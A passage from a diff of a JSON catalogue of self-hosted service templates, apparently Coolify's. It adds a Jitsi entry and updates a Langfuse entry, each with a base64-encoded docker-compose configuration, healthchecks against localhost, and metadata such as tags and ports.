iAgICAgIG1lZXQuaml0c2k6CiAgICAgICAgYWxpYXNlczoKICAgICAgICAgIC0gbWVldC5qaXRzaQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgcHJvc29keToKICAgIGltYWdlOiAnaml0c2kvcHJvc29keTpzdGFibGUtMTA4ODgnCiAgICByZXN0YXJ0OiB1bmxlc3Mtc3RvcHBlZAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gQVVUSF9UWVBFPWludGVybmFsCiAgICAgIC0gRU5BQkxFX0FVVEg9MAogICAgICAtIEVOQUJMRV9HVUVTVFM9MQogICAgICAtIFhNUFBfRE9NQUlOPW1lZXQuaml0c2kKICAgICAgLSBYTVBQX0FVVEhfRE9NQUlOPWF1dGgubWVldC5qaXRzaQogICAgICAtIFhNUFBfR1VFU1RfRE9NQUlOPWd1ZXN0Lm1lZXQuaml0c2kKICAgICAgLSBYTVBQX01VQ19ET01BSU49Y29uZmVyZW5jZS5tZWV0LmppdHNpCiAgICAgIC0gWE1QUF9JTlRFUk5BTF9NVUNfRE9NQUlOPWludGVybmFsLmF1dGgubWVldC5qaXRzaQogICAgICAtICdKSUNPRk9fQ09NUE9ORU5UX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSklDT0ZPfScKICAgICAgLSAnSklDT0ZPX0FVVEhfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pJQ09GT30nCiAgICAgIC0gJ0pWQl9BVVRIX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9KVkJ9JwogICAgICAtIFBVQkxJQ19VUkw9JFNFUlZJQ0VfVVJMX0pJVFNJCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0xPR19MRVZFTD0ke0xPR19MRVZFTDotaW5mb30nCiAgICB2b2x1bWVzOgogICAgICAtICdqaXRzaS1wcm9zb2R5Oi9jb25maWcnCiAgICBuZXR3b3JrczoKICAgICAgbWVldC5qaXRzaToKICAgICAgICBhbGlhc2VzOgogICAgICAgICAgLSB4bXBwLm1lZXQuaml0c2kKICAgICAgICAgIC0gYXV0aC5tZWV0LmppdHNpCiAgICAgICAgICAtIGd1ZXN0Lm1lZXQuaml0c2kKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo1MjgwL2h0dHAtYmluZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGppY29mbzoKICAgIGltYWdlOiAnaml0c2kvamljb2ZvOnN0YWJsZS0xMDg4OCcKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBBVVRIX1RZUEU9aW50ZXJuYWwKICAgICAgLSBFTkFCTEVfQVVUSD0wCiAgICAgIC0gWE1QUF9ET01BSU49bWVldC5qaXRzaQogICAgICAtIFhNUFBfQVVUSF9ET01BSU49YXV0aC5tZWV0LmppdHNpCiAgICAgIC0gWE1QUF9JTlRFUk5BTF9NVUNfRE9NQUlOPWludGVybmFsLmF1dGgubWVldC5qaXRzaQogICAgICAtIFhNUFBfTVVDX0RPTUFJTj1jb25mZXJlbmNlLm1lZXQuaml0c2kKICAgICAgLSBYTVBQX1NFUlZFUj1wcm9zb2R5CiAgICAgIC0gJ0pJQ09GT19DT01QT05FTlRfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KSUNPRk99JwogICAgICAtICdKSUNPRk9fQVVUSF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfSklDT0ZPfScKICAgICAgLSBKVkJfQlJFV0VSWV9NVUM9anZiYnJld2VyeQogICAgICAtIEpJQ09GT19FTkFCTEVfSEVBTFRIX0NIRUNLUz0xCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHByb3NvZHkKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2ppdHNpLWppY29mbzovY29uZmlnJwogICAgbmV0d29ya3M6CiAgICAgIG1lZXQuaml0c2k6IG51bGwKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo4ODg4L2Fib3V0L2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGp2YjoKICAgIGltYWdlOiAnaml0c2kvanZiOnN0YWJsZS0xMDg4OCcKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBwb3J0czoKICAgICAgLSAnMTAwMDA6MTAwMDAvdWRwJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gWE1QUF9TRVJWRVI9cHJvc29keQogICAgICAtIFhNUFBfRE9NQUlOPW1lZXQuaml0c2kKICAgICAgLSBYTVBQX0FVVEhfRE9NQUlOPWF1dGgubWVldC5qaXRzaQogICAgICAtIFhNUFBfSU5URVJOQUxfTVVDX0RPTUFJTj1pbnRlcm5hbC5hdXRoLm1lZXQuaml0c2kKICAgICAgLSBYTVBQX01VQ19ET01BSU49Y29uZmVyZW5jZS5tZWV0LmppdHNpCiAgICAgIC0gSlZCX0FVVEhfVVNFUj1qdmIKICAgICAgLSAnSlZCX0FVVEhfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pWQn0nCiAgICAgIC0gSlZCX0JSRVdFUllfTVVDPWp2YmJyZXdlcnkKICAgICAgLSBKVkJfUE9SVD0xMDAwMAogICAgICAtICdKVkJfQURWRVJUSVNFX0lQUz0ke0pWQl9BRFZFUlRJU0VfSVBTOi19JwogICAgICAtICdKVkJfU1RVTl9TRVJWRVJTPSR7SlZCX1NUVU5fU0VSVkVSUzotc3R1bi5sLmdvb2dsZS5jb206MTkzMDJ9JwogICAgICAtIFBVQkxJQ19VUkw9JFNFUlZJQ0VfVVJMX0pJVFNJCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHByb3NvZHkKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2ppdHNpLWp2YjovY29uZmlnJwogICAgbmV0d29ya3M6CiAgICAgIG1lZXQuaml0c2k6IG51bGwKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo4MDgwL2Fib3V0L2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQpuZXR3b3JrczoKICBtZWV0LmppdHNpOiBudWxsCg==", + "tags": [ + "jitsi", + "video", + "conference", + "webrtc", + "meeting", + "self-hosted" + ], + "category": "productivity", + "logo": "svgs/jitsi.svg", + "minversion": "0.0.0", + "port": "80" + }, "joomla-with-mariadb": { "documentation": "https://joomla.org?utm_source=coolify.io", "slogan": "Joomla! is the mobile-ready and user-friendly way to build your website. Choose from thousands of features and designs. Joomla! is free and open source.", @@ -2388,7 +2403,7 @@ "langfuse": { "documentation": "https://langfuse.com/docs?utm_source=coolify.io", "slogan": "Langfuse is an open-source LLM engineering platform that helps teams collaboratively debug, analyze, and iterate on their LLM applications.", - "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogIC0gJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAtICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogIC0gJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogIC0gUkVESVNfSE9TVD1yZWRpcwogIC0gUkVESVNfUE9SVD02Mzc5CiAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgLSAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKc2VydmljZXM6CiAgbGFuZ2Z1c2U6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlOjMnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBjbGlja2hvdXNlOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgMDogJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgMTogJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1sYW5nZnVzZS1kYn0nCiAgICAgIDI6ICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgMzogJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIDQ6ICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDU6ICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICA2OiAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIDc6ICdDTElDS0hPVVNFX1VSTD1odHRwOi8vY2xpY2tob3VzZTo4MTIzJwogICAgICA4OiAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICA5OiAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIDEwOiBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAxMTogJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAgICAgMTI6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAxMzogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgMTQ6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMTU6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAxNjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIDE3OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIDE4OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAxOTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDIwOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAyMTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAyMjogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDIzOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMjQ6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMjU6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgMjY6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDI3OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjg6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAyOTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAgICAgMzA6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAzMTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIDMyOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDMzOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMzQ6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMzU6ICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogICAgICAzNjogJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAzNzogUkVESVNfSE9TVD1yZWRpcwogICAgICAzODogUkVESVNfUE9SVD02Mzc5CiAgICAgIDM5OiAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICA0MDogJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA0MTogJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogICAgICA0MjogJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgNDM6ICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIDQ0OiAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgICAgIDQ1OiAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgNDY6ICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgNDc6ICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogICAgICA0ODogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICA0OTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA1MDogJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAgICAgNTE6ICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgICAgU0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcHVibGljL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBsYW5nZnVzZS13b3JrZXI6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlLXdvcmtlcjozJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnU0FMVD0ke1NFUlZJQ0VfUEFTU1dPUkRfU0FMVH0nCiAgICAgIC0gJ0VOQ1J